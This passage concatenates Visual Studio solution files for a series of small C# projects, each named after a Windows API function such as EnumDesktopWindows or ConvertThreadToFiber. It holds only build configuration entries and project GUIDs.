preSolution 26 | HideSolutionNode = FALSE 27 | EndGlobalSection 28 | GlobalSection(ExtensibilityGlobals) = postSolution 29 | SolutionGuid = {AA6CCAF3-D076-4D76-A545-D486E73226DD} 30 | EndGlobalSection 31 | EndGlobal 32 | -------------------------------------------------------------------------------- /EnumTimeFormatsEx/EnumTimeFormatsEx.sln: -------------------------------------------------------------------------------- 1 | 2 | Microsoft Visual Studio Solution File, Format Version 12.00 3 | # Visual Studio Version 17 4 | VisualStudioVersion = 17.4.33403.182 5 | MinimumVisualStudioVersion = 10.0.40219.1 6 | Project("{FAE04EC0-301F-11D3-BF4B-00C04F79EFBC}") = "EnumTimeFormatsEx", "EnumTimeFormatsEx\EnumTimeFormatsEx.csproj", "{07B246A4-2451-409B-8BF3-29B0BBDDACCE}" 7 | EndProject 8 | Global 9 | GlobalSection(SolutionConfigurationPlatforms) = preSolution 10 | Debug|Any CPU = Debug|Any CPU 11 | Debug|x64 = Debug|x64 12 | Release|Any CPU = Release|Any CPU 13 | Release|x64 = Release|x64 14 | EndGlobalSection 15 | GlobalSection(ProjectConfigurationPlatforms) = postSolution 16 | {07B246A4-2451-409B-8BF3-29B0BBDDACCE}.Debug|Any CPU.ActiveCfg = Debug|Any CPU 17 | {07B246A4-2451-409B-8BF3-29B0BBDDACCE}.Debug|Any CPU.Build.0 = Debug|Any CPU 18 | {07B246A4-2451-409B-8BF3-29B0BBDDACCE}.Debug|x64.ActiveCfg = Debug|x64 19 | {07B246A4-2451-409B-8BF3-29B0BBDDACCE}.Debug|x64.Build.0 = Debug|x64 20 | {07B246A4-2451-409B-8BF3-29B0BBDDACCE}.Release|Any CPU.ActiveCfg = Release|Any CPU 21 | {07B246A4-2451-409B-8BF3-29B0BBDDACCE}.Release|Any CPU.Build.0 = Release|Any CPU 22 | {07B246A4-2451-409B-8BF3-29B0BBDDACCE}.Release|x64.ActiveCfg = Release|x64 23 | {07B246A4-2451-409B-8BF3-29B0BBDDACCE}.Release|x64.Build.0 = Release|x64 24 | EndGlobalSection 25 | GlobalSection(SolutionProperties) = preSolution 26 | HideSolutionNode = FALSE 27 | EndGlobalSection 28 | GlobalSection(ExtensibilityGlobals) = postSolution 29 | SolutionGuid = {C09F7A3A-6B79-45CC-8D38-4E6C35862670} 30 | EndGlobalSection 31 | EndGlobal 32 | -------------------------------------------------------------------------------- /SymFindFileInPath/SymFindFileInPath.sln: -------------------------------------------------------------------------------- 1 | 2 | Microsoft Visual Studio Solution File, Format Version 12.00 3 | # Visual Studio Version 17 4 | VisualStudioVersion = 17.4.33403.182 5 | MinimumVisualStudioVersion = 10.0.40219.1 6 | Project("{FAE04EC0-301F-11D3-BF4B-00C04F79EFBC}") = "SymFindFileInPath", "SymFindFileInPath\SymFindFileInPath.csproj", "{562963CC-2F8B-4FC0-B156-126A642D5624}" 7 | EndProject 8 | Global 9 | GlobalSection(SolutionConfigurationPlatforms) = preSolution 10 | Debug|Any CPU = Debug|Any CPU 11 | Debug|x64 = Debug|x64 12 | Release|Any CPU = Release|Any CPU 13 | Release|x64 = Release|x64 14 | EndGlobalSection 15 | GlobalSection(ProjectConfigurationPlatforms) = postSolution 16 | {562963CC-2F8B-4FC0-B156-126A642D5624}.Debug|Any CPU.ActiveCfg = Debug|Any CPU 17 | {562963CC-2F8B-4FC0-B156-126A642D5624}.Debug|Any CPU.Build.0 = Debug|Any CPU 18 | {562963CC-2F8B-4FC0-B156-126A642D5624}.Debug|x64.ActiveCfg = Debug|x64 19 | {562963CC-2F8B-4FC0-B156-126A642D5624}.Debug|x64.Build.0 = Debug|x64 20 | {562963CC-2F8B-4FC0-B156-126A642D5624}.Release|Any CPU.ActiveCfg = Release|Any CPU 21 | {562963CC-2F8B-4FC0-B156-126A642D5624}.Release|Any CPU.Build.0 = Release|Any CPU 22 | {562963CC-2F8B-4FC0-B156-126A642D5624}.Release|x64.ActiveCfg = Release|x64 23 | {562963CC-2F8B-4FC0-B156-126A642D5624}.Release|x64.Build.0 = Release|x64 24 | EndGlobalSection 25 | GlobalSection(SolutionProperties) = preSolution 26 | HideSolutionNode = FALSE 27 | EndGlobalSection 28 | GlobalSection(ExtensibilityGlobals) = postSolution 29 | SolutionGuid = {4AB29331-1524-4658-8E73-3B568CC906CA} 30 | EndGlobalSection 31 | EndGlobal 32 | -------------------------------------------------------------------------------- /EnumCalenderInfoEx/EnumCalenderInfoEx.sln: -------------------------------------------------------------------------------- 1 | 2 | Microsoft Visual Studio Solution File, Format Version 12.00 3 | # Visual Studio Version 17 4 | VisualStudioVersion = 17.4.33403.182 5 | MinimumVisualStudioVersion = 10.0.40219.1 6 | Project("{FAE04EC0-301F-11D3-BF4B-00C04F79EFBC}") = "EnumCalenderInfoEx", "EnumCalenderInfoEx\EnumCalenderInfoEx.csproj", "{82C57B31-0D20-4FD8-BE56-57EED7A71D05}" 7 | EndProject 8 | Global 9 | GlobalSection(SolutionConfigurationPlatforms) = preSolution 10 | Debug|Any CPU = Debug|Any CPU 11 | Debug|x64 = Debug|x64 12 | Release|Any CPU = Release|Any CPU 13 | Release|x64 = Release|x64 14 | EndGlobalSection 15 | GlobalSection(ProjectConfigurationPlatforms) = postSolution 16 | {82C57B31-0D20-4FD8-BE56-57EED7A71D05}.Debug|Any CPU.ActiveCfg = Debug|Any CPU 17 | {82C57B31-0D20-4FD8-BE56-57EED7A71D05}.Debug|Any CPU.Build.0 = Debug|Any CPU 18 | {82C57B31-0D20-4FD8-BE56-57EED7A71D05}.Debug|x64.ActiveCfg = Debug|x64 19 | {82C57B31-0D20-4FD8-BE56-57EED7A71D05}.Debug|x64.Build.0 = Debug|x64 20 | {82C57B31-0D20-4FD8-BE56-57EED7A71D05}.Release|Any CPU.ActiveCfg = Release|Any CPU 21 | {82C57B31-0D20-4FD8-BE56-57EED7A71D05}.Release|Any CPU.Build.0 = Release|Any CPU 22 | {82C57B31-0D20-4FD8-BE56-57EED7A71D05}.Release|x64.ActiveCfg = Release|x64 23 | {82C57B31-0D20-4FD8-BE56-57EED7A71D05}.Release|x64.Build.0 = Release|x64 24 | EndGlobalSection 25 | GlobalSection(SolutionProperties) = preSolution 26 | HideSolutionNode = FALSE 27 | EndGlobalSection 28 | GlobalSection(ExtensibilityGlobals) = postSolution 29 | SolutionGuid = {F2C2EE28-9EEC-472B-A801-7AF3D5377291} 30 | EndGlobalSection 31 | EndGlobal 32 | -------------------------------------------------------------------------------- /EnumDesktopWindows/EnumDesktopWindows.sln: -------------------------------------------------------------------------------- 1 | 2 | Microsoft Visual Studio Solution File, Format Version 12.00 3 | # Visual Studio Version 17 4 | VisualStudioVersion = 17.4.33403.182 5 | MinimumVisualStudioVersion = 10.0.40219.1 6 | Project("{FAE04EC0-301F-11D3-BF4B-00C04F79EFBC}") = "EnumDesktopWindows", "EnumDesktopWindows\EnumDesktopWindows.csproj", "{637A9123-00E3-41DB-92C0-ECA86D733B94}" 7 | EndProject 8 | Global 9 | GlobalSection(SolutionConfigurationPlatforms) = preSolution 10 | Debug|Any CPU = Debug|Any CPU 11 | Debug|x64 = Debug|x64 12 | Release|Any CPU = Release|Any CPU 13 | Release|x64 = Release|x64 14 | EndGlobalSection 15 | GlobalSection(ProjectConfigurationPlatforms) = postSolution 16 | {637A9123-00E3-41DB-92C0-ECA86D733B94}.Debug|Any CPU.ActiveCfg = Debug|Any CPU 17 | {637A9123-00E3-41DB-92C0-ECA86D733B94}.Debug|Any CPU.Build.0 = Debug|Any CPU 18 | {637A9123-00E3-41DB-92C0-ECA86D733B94}.Debug|x64.ActiveCfg = Debug|x64 19 | {637A9123-00E3-41DB-92C0-ECA86D733B94}.Debug|x64.Build.0 = Debug|x64 20 | {637A9123-00E3-41DB-92C0-ECA86D733B94}.Release|Any CPU.ActiveCfg = Release|Any CPU 21 | {637A9123-00E3-41DB-92C0-ECA86D733B94}.Release|Any CPU.Build.0 = Release|Any CPU 22 | {637A9123-00E3-41DB-92C0-ECA86D733B94}.Release|x64.ActiveCfg = Release|x64 23 | {637A9123-00E3-41DB-92C0-ECA86D733B94}.Release|x64.Build.0 = Release|x64 24 | EndGlobalSection 25 | GlobalSection(SolutionProperties) = preSolution 26 | HideSolutionNode = FALSE 27 | EndGlobalSection 28 | GlobalSection(ExtensibilityGlobals) = postSolution 29 | SolutionGuid = {B773E3BE-6A02-4761-AFF8-30455EA8B6CA} 30 | EndGlobalSection 31 | EndGlobal 32 | -------------------------------------------------------------------------------- /EnumResourceTypesW/EnumResourceTypesW.sln: -------------------------------------------------------------------------------- 1 | 2 | Microsoft Visual Studio Solution File, Format Version 12.00 3 | # Visual Studio Version 17 4 | VisualStudioVersion = 17.4.33403.182 5 | MinimumVisualStudioVersion = 10.0.40219.1 6 | Project("{FAE04EC0-301F-11D3-BF4B-00C04F79EFBC}") = "EnumResourceTypesW", "EnumResourceTypesW\EnumResourceTypesW.csproj", "{F16E3F01-8880-4DB2-9ADC-9EBF58298171}" 7 | EndProject 8 | Global 9 | GlobalSection(SolutionConfigurationPlatforms) = preSolution 10 | Debug|Any CPU = Debug|Any CPU 11 | Debug|x64 = Debug|x64 12 | Release|Any CPU = Release|Any CPU 13 | Release|x64 = Release|x64 14 | EndGlobalSection 15 | GlobalSection(ProjectConfigurationPlatforms) = postSolution 16 | {F16E3F01-8880-4DB2-9ADC-9EBF58298171}.Debug|Any CPU.ActiveCfg = Debug|Any CPU 17 | {F16E3F01-8880-4DB2-9ADC-9EBF58298171}.Debug|Any CPU.Build.0 = Debug|Any CPU 18 | {F16E3F01-8880-4DB2-9ADC-9EBF58298171}.Debug|x64.ActiveCfg = Debug|x64 19 | {F16E3F01-8880-4DB2-9ADC-9EBF58298171}.Debug|x64.Build.0 = Debug|x64 20 | {F16E3F01-8880-4DB2-9ADC-9EBF58298171}.Release|Any CPU.ActiveCfg = Release|Any CPU 21 | {F16E3F01-8880-4DB2-9ADC-9EBF58298171}.Release|Any CPU.Build.0 = Release|Any CPU 22 | {F16E3F01-8880-4DB2-9ADC-9EBF58298171}.Release|x64.ActiveCfg = Release|x64 23 | {F16E3F01-8880-4DB2-9ADC-9EBF58298171}.Release|x64.Build.0 = Release|x64 24 | EndGlobalSection 25 | GlobalSection(SolutionProperties) = preSolution 26 | HideSolutionNode = FALSE 27 | EndGlobalSection 28 | GlobalSection(ExtensibilityGlobals) = postSolution 29 | SolutionGuid = {2292021D-A0AA-4A33-B536-C31283E9F9A9} 30 | EndGlobalSection 31 | EndGlobal 32 | -------------------------------------------------------------------------------- /EnumSystemGeoNames/EnumSystemGeoNames.sln: -------------------------------------------------------------------------------- 1 | 2 | Microsoft Visual Studio Solution File, Format Version 12.00 3 | # Visual Studio Version 17 4 | VisualStudioVersion = 17.4.33403.182 5 | MinimumVisualStudioVersion = 10.0.40219.1 6 | Project("{FAE04EC0-301F-11D3-BF4B-00C04F79EFBC}") = "EnumSystemGeoNames", "EnumSystemGeoNames\EnumSystemGeoNames.csproj", "{B0765B8D-7902-4C76-8321-A89382F2ABA4}" 7 | EndProject 8 | Global 9 | GlobalSection(SolutionConfigurationPlatforms) = preSolution 10 | Debug|Any CPU = Debug|Any CPU 11 | Debug|x64 = Debug|x64 12 | Release|Any CPU = Release|Any CPU 13 | Release|x64 = Release|x64 14 | EndGlobalSection 15 | GlobalSection(ProjectConfigurationPlatforms) = postSolution 16 | {B0765B8D-7902-4C76-8321-A89382F2ABA4}.Debug|Any CPU.ActiveCfg = Debug|Any CPU 17 | {B0765B8D-7902-4C76-8321-A89382F2ABA4}.Debug|Any CPU.Build.0 = Debug|Any CPU 18 | {B0765B8D-7902-4C76-8321-A89382F2ABA4}.Debug|x64.ActiveCfg = Debug|x64 19 | {B0765B8D-7902-4C76-8321-A89382F2ABA4}.Debug|x64.Build.0 = Debug|x64 20 | {B0765B8D-7902-4C76-8321-A89382F2ABA4}.Release|Any CPU.ActiveCfg = Release|Any CPU 21 | {B0765B8D-7902-4C76-8321-A89382F2ABA4}.Release|Any CPU.Build.0 = Release|Any CPU 22 | {B0765B8D-7902-4C76-8321-A89382F2ABA4}.Release|x64.ActiveCfg = Release|x64 23 | {B0765B8D-7902-4C76-8321-A89382F2ABA4}.Release|x64.Build.0 = Release|x64 24 | EndGlobalSection 25 | GlobalSection(SolutionProperties) = preSolution 26 | HideSolutionNode = FALSE 27 | EndGlobalSection 28 | GlobalSection(ExtensibilityGlobals) = postSolution 29 | SolutionGuid = {F8CAD6F0-07F8-4E3F-9C5E-716E8B9BC4BA} 30 | EndGlobalSection 31 | EndGlobal 32 | -------------------------------------------------------------------------------- /SysEnumSourceFiles/SysEnumSourceFiles.sln: -------------------------------------------------------------------------------- 1 | 2 | Microsoft Visual Studio Solution File, Format Version 12.00 3 | # Visual Studio Version 17 4 | VisualStudioVersion = 17.4.33403.182 5 | MinimumVisualStudioVersion = 10.0.40219.1 6 | Project("{FAE04EC0-301F-11D3-BF4B-00C04F79EFBC}") = "SysEnumSourceFiles", "SysEnumSourceFiles\SysEnumSourceFiles.csproj", "{A42F70EE-0955-421F-9365-0DA5B526868B}" 7 | EndProject 8 | Global 9 | GlobalSection(SolutionConfigurationPlatforms) = preSolution 10 | Debug|Any CPU = Debug|Any CPU 11 | Debug|x64 = Debug|x64 12 | Release|Any CPU = Release|Any CPU 13 | Release|x64 = Release|x64 14 | EndGlobalSection 15 | GlobalSection(ProjectConfigurationPlatforms) = postSolution 16 | {A42F70EE-0955-421F-9365-0DA5B526868B}.Debug|Any CPU.ActiveCfg = Debug|Any CPU 17 | {A42F70EE-0955-421F-9365-0DA5B526868B}.Debug|Any CPU.Build.0 = Debug|Any CPU 18 | {A42F70EE-0955-421F-9365-0DA5B526868B}.Debug|x64.ActiveCfg = Debug|x64 19 | {A42F70EE-0955-421F-9365-0DA5B526868B}.Debug|x64.Build.0 = Debug|x64 20 | {A42F70EE-0955-421F-9365-0DA5B526868B}.Release|Any CPU.ActiveCfg = Release|Any CPU 21 | {A42F70EE-0955-421F-9365-0DA5B526868B}.Release|Any CPU.Build.0 = Release|Any CPU 22 | {A42F70EE-0955-421F-9365-0DA5B526868B}.Release|x64.ActiveCfg = Release|x64 23 | {A42F70EE-0955-421F-9365-0DA5B526868B}.Release|x64.Build.0 = Release|x64 24 | EndGlobalSection 25 | GlobalSection(SolutionProperties) = preSolution 26 | HideSolutionNode = FALSE 27 | EndGlobalSection 28 | GlobalSection(ExtensibilityGlobals) = postSolution 29 | SolutionGuid = {AE43B042-DF18-4BA4-89BE-A94D59B9B1AD} 30 | EndGlobalSection 31 | EndGlobal 32 | -------------------------------------------------------------------------------- /CertEnumSystemStore/CertEnumSystemStore.sln: -------------------------------------------------------------------------------- 1 | 2 | Microsoft Visual Studio Solution File, Format Version 12.00 3 | # Visual Studio Version 17 4 | VisualStudioVersion = 17.4.33403.182 5 | MinimumVisualStudioVersion = 10.0.40219.1 6 | Project("{FAE04EC0-301F-11D3-BF4B-00C04F79EFBC}") = "CertEnumSystemStore", "CertEnumSystemStore\CertEnumSystemStore.csproj", "{16ED9987-C9FD-4627-A7A6-F2CD24BC23D8}" 7 | EndProject 8 | Global 9 | GlobalSection(SolutionConfigurationPlatforms) = preSolution 10 | Debug|Any CPU = Debug|Any CPU 11 | Debug|x64 = Debug|x64 12 | Release|Any CPU = Release|Any CPU 13 | Release|x64 = Release|x64 14 | EndGlobalSection 15 | GlobalSection(ProjectConfigurationPlatforms) = postSolution 16 | {16ED9987-C9FD-4627-A7A6-F2CD24BC23D8}.Debug|Any CPU.ActiveCfg = Debug|Any CPU 17 | {16ED9987-C9FD-4627-A7A6-F2CD24BC23D8}.Debug|Any CPU.Build.0 = Debug|Any CPU 18 | {16ED9987-C9FD-4627-A7A6-F2CD24BC23D8}.Debug|x64.ActiveCfg = Debug|x64 19 | {16ED9987-C9FD-4627-A7A6-F2CD24BC23D8}.Debug|x64.Build.0 = Debug|x64 20 | {16ED9987-C9FD-4627-A7A6-F2CD24BC23D8}.Release|Any CPU.ActiveCfg = Release|Any CPU 21 | {16ED9987-C9FD-4627-A7A6-F2CD24BC23D8}.Release|Any CPU.Build.0 = Release|Any CPU 22 | {16ED9987-C9FD-4627-A7A6-F2CD24BC23D8}.Release|x64.ActiveCfg = Release|x64 23 | {16ED9987-C9FD-4627-A7A6-F2CD24BC23D8}.Release|x64.Build.0 = Release|x64 24 | EndGlobalSection 25 | GlobalSection(SolutionProperties) = preSolution 26 | HideSolutionNode = FALSE 27 | EndGlobalSection 28 | GlobalSection(ExtensibilityGlobals) = postSolution 29 | SolutionGuid = {5F104D05-D301-49B0-ACA6-9225B8B591D3} 30 | EndGlobalSection 31 | EndGlobal 32 | -------------------------------------------------------------------------------- /EnumDisplayMonitors/EnumDisplayMonitors.sln: -------------------------------------------------------------------------------- 1 | 2 | Microsoft Visual Studio Solution File, Format Version 12.00 3 | # Visual Studio Version 17 4 | VisualStudioVersion = 17.4.33403.182 5 | MinimumVisualStudioVersion = 10.0.40219.1 6 | Project("{FAE04EC0-301F-11D3-BF4B-00C04F79EFBC}") = "EnumDisplayMonitors", "EnumDisplayMonitors\EnumDisplayMonitors.csproj", "{293962D3-2BD8-430C-83F0-9C0E54D6DA00}" 7 | EndProject 8 | Global 9 | GlobalSection(SolutionConfigurationPlatforms) = preSolution 10 | Debug|Any CPU = Debug|Any CPU 11 | Debug|x64 = Debug|x64 12 | Release|Any CPU = Release|Any CPU 13 | Release|x64 = Release|x64 14 | EndGlobalSection 15 | GlobalSection(ProjectConfigurationPlatforms) = postSolution 16 | {293962D3-2BD8-430C-83F0-9C0E54D6DA00}.Debug|Any CPU.ActiveCfg = Debug|Any CPU 17 | {293962D3-2BD8-430C-83F0-9C0E54D6DA00}.Debug|Any CPU.Build.0 = Debug|Any CPU 18 | {293962D3-2BD8-430C-83F0-9C0E54D6DA00}.Debug|x64.ActiveCfg = Debug|x64 19 | {293962D3-2BD8-430C-83F0-9C0E54D6DA00}.Debug|x64.Build.0 = Debug|x64 20 | {293962D3-2BD8-430C-83F0-9C0E54D6DA00}.Release|Any CPU.ActiveCfg = Release|Any CPU 21 | {293962D3-2BD8-430C-83F0-9C0E54D6DA00}.Release|Any CPU.Build.0 = Release|Any CPU 22 | {293962D3-2BD8-430C-83F0-9C0E54D6DA00}.Release|x64.ActiveCfg = Release|x64 23 | {293962D3-2BD8-430C-83F0-9C0E54D6DA00}.Release|x64.Build.0 = Release|x64 24 | EndGlobalSection 25 | GlobalSection(SolutionProperties) = preSolution 26 | HideSolutionNode = FALSE 27 | EndGlobalSection 28 | GlobalSection(ExtensibilityGlobals) = postSolution 29 | SolutionGuid = {E49C2E89-B3E0-4FD7-9ACA-2402C83AA109} 30 | EndGlobalSection 31 | EndGlobal 32 | -------------------------------------------------------------------------------- /EnumFontFamiliesExW/EnumFontFamiliesExW.sln: -------------------------------------------------------------------------------- 1 | 2 | Microsoft Visual Studio Solution File, Format Version 12.00 3 | # Visual Studio Version 17 4 | VisualStudioVersion = 17.4.33403.182 5 | MinimumVisualStudioVersion = 10.0.40219.1 6 | Project("{FAE04EC0-301F-11D3-BF4B-00C04F79EFBC}") = "EnumFontFamiliesExW", "EnumFontFamiliesExW\EnumFontFamiliesExW.csproj", "{C3A1F31A-B99A-4D82-80AA-8F60BB748DCB}" 7 | EndProject 8 | Global 9 | GlobalSection(SolutionConfigurationPlatforms) = preSolution 10 | Debug|Any CPU = Debug|Any CPU 11 | Debug|x64 = Debug|x64 12 | Release|Any CPU = Release|Any CPU 13 | Release|x64 = Release|x64 14 | EndGlobalSection 15 | GlobalSection(ProjectConfigurationPlatforms) = postSolution 16 | {C3A1F31A-B99A-4D82-80AA-8F60BB748DCB}.Debug|Any CPU.ActiveCfg = Debug|Any CPU 17 | {C3A1F31A-B99A-4D82-80AA-8F60BB748DCB}.Debug|Any CPU.Build.0 = Debug|Any CPU 18 | {C3A1F31A-B99A-4D82-80AA-8F60BB748DCB}.Debug|x64.ActiveCfg = Debug|x64 19 | {C3A1F31A-B99A-4D82-80AA-8F60BB748DCB}.Debug|x64.Build.0 = Debug|x64 20 | {C3A1F31A-B99A-4D82-80AA-8F60BB748DCB}.Release|Any CPU.ActiveCfg = Release|Any CPU 21 | {C3A1F31A-B99A-4D82-80AA-8F60BB748DCB}.Release|Any CPU.Build.0 = Release|Any CPU 22 | {C3A1F31A-B99A-4D82-80AA-8F60BB748DCB}.Release|x64.ActiveCfg = Release|x64 23 | {C3A1F31A-B99A-4D82-80AA-8F60BB748DCB}.Release|x64.Build.0 = Release|x64 24 | EndGlobalSection 25 | GlobalSection(SolutionProperties) = preSolution 26 | HideSolutionNode = FALSE 27 | EndGlobalSection 28 | GlobalSection(ExtensibilityGlobals) = postSolution 29 | SolutionGuid = {67BAD291-2F1D-44F6-AC30-C157406FF76A} 30 | EndGlobalSection 31 | EndGlobal 32 | -------------------------------------------------------------------------------- /EnumWindowStationsW/EnumWindowStationsW.sln: -------------------------------------------------------------------------------- 1 | 2 | Microsoft Visual Studio Solution File, Format Version 12.00 3 | # Visual Studio Version 17 4 | VisualStudioVersion = 17.4.33403.182 5 | MinimumVisualStudioVersion = 10.0.40219.1 6 | Project("{FAE04EC0-301F-11D3-BF4B-00C04F79EFBC}") = "EnumWindowStationsW", "EnumWindowStationsW\EnumWindowStationsW.csproj", "{1355E1AE-4829-4F66-995D-9666F9721CF3}" 7 | EndProject 8 | Global 9 | GlobalSection(SolutionConfigurationPlatforms) = preSolution 10 | Debug|Any CPU = Debug|Any CPU 11 | Debug|x64 = Debug|x64 12 | Release|Any CPU = Release|Any CPU 13 | Release|x64 = Release|x64 14 | EndGlobalSection 15 | GlobalSection(ProjectConfigurationPlatforms) = postSolution 16 | {1355E1AE-4829-4F66-995D-9666F9721CF3}.Debug|Any CPU.ActiveCfg = Debug|Any CPU 17 | {1355E1AE-4829-4F66-995D-9666F9721CF3}.Debug|Any CPU.Build.0 = Debug|Any CPU 18 | {1355E1AE-4829-4F66-995D-9666F9721CF3}.Debug|x64.ActiveCfg = Debug|x64 19 | {1355E1AE-4829-4F66-995D-9666F9721CF3}.Debug|x64.Build.0 = Debug|x64 20 | {1355E1AE-4829-4F66-995D-9666F9721CF3}.Release|Any CPU.ActiveCfg = Release|Any CPU 21 | {1355E1AE-4829-4F66-995D-9666F9721CF3}.Release|Any CPU.Build.0 = Release|Any CPU 22 | {1355E1AE-4829-4F66-995D-9666F9721CF3}.Release|x64.ActiveCfg = Release|x64 23 | {1355E1AE-4829-4F66-995D-9666F9721CF3}.Release|x64.Build.0 = Release|x64 24 | EndGlobalSection 25 | GlobalSection(SolutionProperties) = preSolution 26 | HideSolutionNode = FALSE 27 | EndGlobalSection 28 | GlobalSection(ExtensibilityGlobals) = postSolution 29 | SolutionGuid = {B28DDF44-874B-4C8A-866E-1F773285A55D} 30 | EndGlobalSection 31 | EndGlobal 32 | -------------------------------------------------------------------------------- /ConvertThreadToFiber/ConvertThreadToFiber.sln: -------------------------------------------------------------------------------- 1 | 2 | Microsoft Visual Studio Solution File, Format Version 12.00 3 | # Visual Studio Version 17 4 | VisualStudioVersion = 17.4.33403.182 5 | MinimumVisualStudioVersion = 10.0.40219.1 6 | Project("{FAE04EC0-301F-11D3-BF4B-00C04F79EFBC}") = "ConvertThreadToFiber", "ConvertThreadToFiber\ConvertThreadToFiber.csproj", "{71A2732B-A639-4A14-91AD-F0BE39076C12}" 7 | EndProject 8 | Global 9 | GlobalSection(SolutionConfigurationPlatforms) = preSolution 10 | Debug|Any CPU = Debug|Any CPU 11 | Debug|x64 = Debug|x64 12 | Release|Any CPU = Release|Any CPU 13 | Release|x64 = Release|x64 14 | EndGlobalSection 15 | GlobalSection(ProjectConfigurationPlatforms) = postSolution 16 | {71A2732B-A639-4A14-91AD-F0BE39076C12}.Debug|Any CPU.ActiveCfg = Debug|Any CPU 17 | {71A2732B-A639-4A14-91AD-F0BE39076C12}.Debug|Any CPU.Build.0 = Debug|Any CPU 18 | {71A2732B-A639-4A14-91AD-F0BE39076C12}.Debug|x64.ActiveCfg = Debug|x64 19 | {71A2732B-A639-4A14-91AD-F0BE39076C12}.Debug|x64.Build.0 = Debug|x64 20 | {71A2732B-A639-4A14-91AD-F0BE39076C12}.Release|Any CPU.ActiveCfg = Release|Any CPU 21 | {71A2732B-A639-4A14-91AD-F0BE39076C12}.Release|Any CPU.Build.0 = Release|Any CPU 22 | {71A2732B-A639-4A14-91AD-F0BE39076C12}.Release|x64.ActiveCfg = Release|x64 23 | {71A2732B-A639-4A14-91AD-F0BE39076C12}.Release|x64.Build.0 = Release|x64 24 | EndGlobalSection 25 | GlobalSection(SolutionProperties) = preSolution 26 | HideSolutionNode = FALSE 27 | EndGlobalSection 28 | GlobalSection(ExtensibilityGlobals) = postSolution 29 | SolutionGuid = {C2867E58-1B16-4D42-B2F0-178D4D879B46} 30 | EndGlobalSection 31 | EndGlobal 32 | -------------------------------------------------------------------------------- /CreateThreadPoolWait/CreateThreadPoolWait.sln: -------------------------------------------------------------------------------- 1 | 2 | Microsoft Visual Studio Solution File, Format Version 12.00 3 | # Visual Studio Version 17 4 | VisualStudioVersion = 17.4.33403.182 5 | MinimumVisualStudioVersion = 10.0.40219.1 6 | Project("{FAE04EC0-301F-11D3-BF4B-00C04F79EFBC}") = "CreateThreadPoolWait", "CreateThreadPoolWait\CreateThreadPoolWait.csproj", "{A1596059-283E-4FA8-9F4A-C02CB4361CE1}" 7 | EndProject 8 | Global 9 | GlobalSection(SolutionConfigurationPlatforms) = preSolution 10 | Debug|Any CPU = Debug|Any CPU 11 | Debug|x64 = Debug|x64 12 | Release|Any CPU = Release|Any CPU 13 | Release|x64 = Release|x64 14 | EndGlobalSection 15 | GlobalSection(ProjectConfigurationPlatforms) = postSolution 16 | {A1596059-283E-4FA8-9F4A-C02CB4361CE1}.Debug|Any CPU.ActiveCfg = Debug|Any CPU 17 | {A1596059-283E-4FA8-9F4A-C02CB4361CE1}.Debug|Any CPU.Build.0 = Debug|Any CPU 18 | {A1596059-283E-4FA8-9F4A-C02CB4361CE1}.Debug|x64.ActiveCfg = Debug|x64 19 | {A1596059-283E-4FA8-9F4A-C02CB4361CE1}.Debug|x64.Build.0 = Debug|x64 20 | {A1596059-283E-4FA8-9F4A-C02CB4361CE1}.Release|Any CPU.ActiveCfg = Release|Any CPU 21 | {A1596059-283E-4FA8-9F4A-C02CB4361CE1}.Release|Any CPU.Build.0 = Release|Any CPU 22 | {A1596059-283E-4FA8-9F4A-C02CB4361CE1}.Release|x64.ActiveCfg = Release|x64 23 | {A1596059-283E-4FA8-9F4A-C02CB4361CE1}.Release|x64.Build.0 = Release|x64 24 | EndGlobalSection 25 | GlobalSection(SolutionProperties) = preSolution 26 | HideSolutionNode = FALSE 27 | EndGlobalSection 28 | GlobalSection(ExtensibilityGlobals) = postSolution 29 | SolutionGuid = {77A89B87-0D7A-41D3-AB92-4E614AA8D2DF} 30 | EndGlobalSection 31 | EndGlobal 32 | -------------------------------------------------------------------------------- /EnumResourceTypesExW/EnumResourceTypesExW.sln: -------------------------------------------------------------------------------- 1 | 2 | Microsoft Visual Studio Solution File, Format Version 12.00 3 | # Visual Studio Version 17 4 | VisualStudioVersion = 17.4.33403.182 5 | MinimumVisualStudioVersion = 10.0.40219.1 6 | Project("{FAE04EC0-301F-11D3-BF4B-00C04F79EFBC}") = "EnumResourceTypesExW", "EnumResourceTypesExW\EnumResourceTypesExW.csproj", "{706C6931-4C08-4CB0-97CA-1B32F52B9403}" 7 | EndProject 8 | Global 9 | GlobalSection(SolutionConfigurationPlatforms) = preSolution 10 | Debug|Any CPU = Debug|Any CPU 11 | Debug|x64 = Debug|x64 12 | Release|Any CPU = Release|Any CPU 13 | Release|x64 = Release|x64 14 | EndGlobalSection 15 | GlobalSection(ProjectConfigurationPlatforms) = postSolution 16 | {706C6931-4C08-4CB0-97CA-1B32F52B9403}.Debug|Any CPU.ActiveCfg = Debug|Any CPU 17 | {706C6931-4C08-4CB0-97CA-1B32F52B9403}.Debug|Any CPU.Build.0 = Debug|Any CPU 18 | {706C6931-4C08-4CB0-97CA-1B32F52B9403}.Debug|x64.ActiveCfg = Debug|x64 19 | {706C6931-4C08-4CB0-97CA-1B32F52B9403}.Debug|x64.Build.0 = Debug|x64 20 | {706C6931-4C08-4CB0-97CA-1B32F52B9403}.Release|Any CPU.ActiveCfg = Release|Any CPU 21 | {706C6931-4C08-4CB0-97CA-1B32F52B9403}.Release|Any CPU.Build.0 = Release|Any CPU 22 | {706C6931-4C08-4CB0-97CA-1B32F52B9403}.Release|x64.ActiveCfg = Release|x64 23 | {706C6931-4C08-4CB0-97CA-1B32F52B9403}.Release|x64.Build.0 = Release|x64 24 | EndGlobalSection 25 | GlobalSection(SolutionProperties) = preSolution 26 | HideSolutionNode = FALSE 27 | EndGlobalSection 28 | GlobalSection(ExtensibilityGlobals) = postSolution 29 | SolutionGuid = {BFF3E828-FDDC-4BE2-A47C-2A77C21C3C33} 30 | EndGlobalSection 31 | EndGlobal 32 | -------------------------------------------------------------------------------- /EnumSystemCodePagesW/EnumSystemCodePagesW.sln: -------------------------------------------------------------------------------- 1 | 2 | Microsoft Visual Studio Solution File, Format Version 12.00 3 | # Visual Studio Version 17 4 | VisualStudioVersion = 17.4.33403.182 5 | MinimumVisualStudioVersion = 10.0.40219.1 6 | Project("{FAE04EC0-301F-11D3-BF4B-00C04F79EFBC}") = "EnumSystemCodePagesW", "EnumSystemCodePagesW\EnumSystemCodePagesW.csproj", "{E6BD3729-8AD7-4ECF-95DC-42C920D64D88}" 7 | EndProject 8 | Global 9 | GlobalSection(SolutionConfigurationPlatforms) = preSolution 10 | Debug|Any CPU = Debug|Any CPU 11 | Debug|x64 = Debug|x64 12 | Release|Any CPU = Release|Any CPU 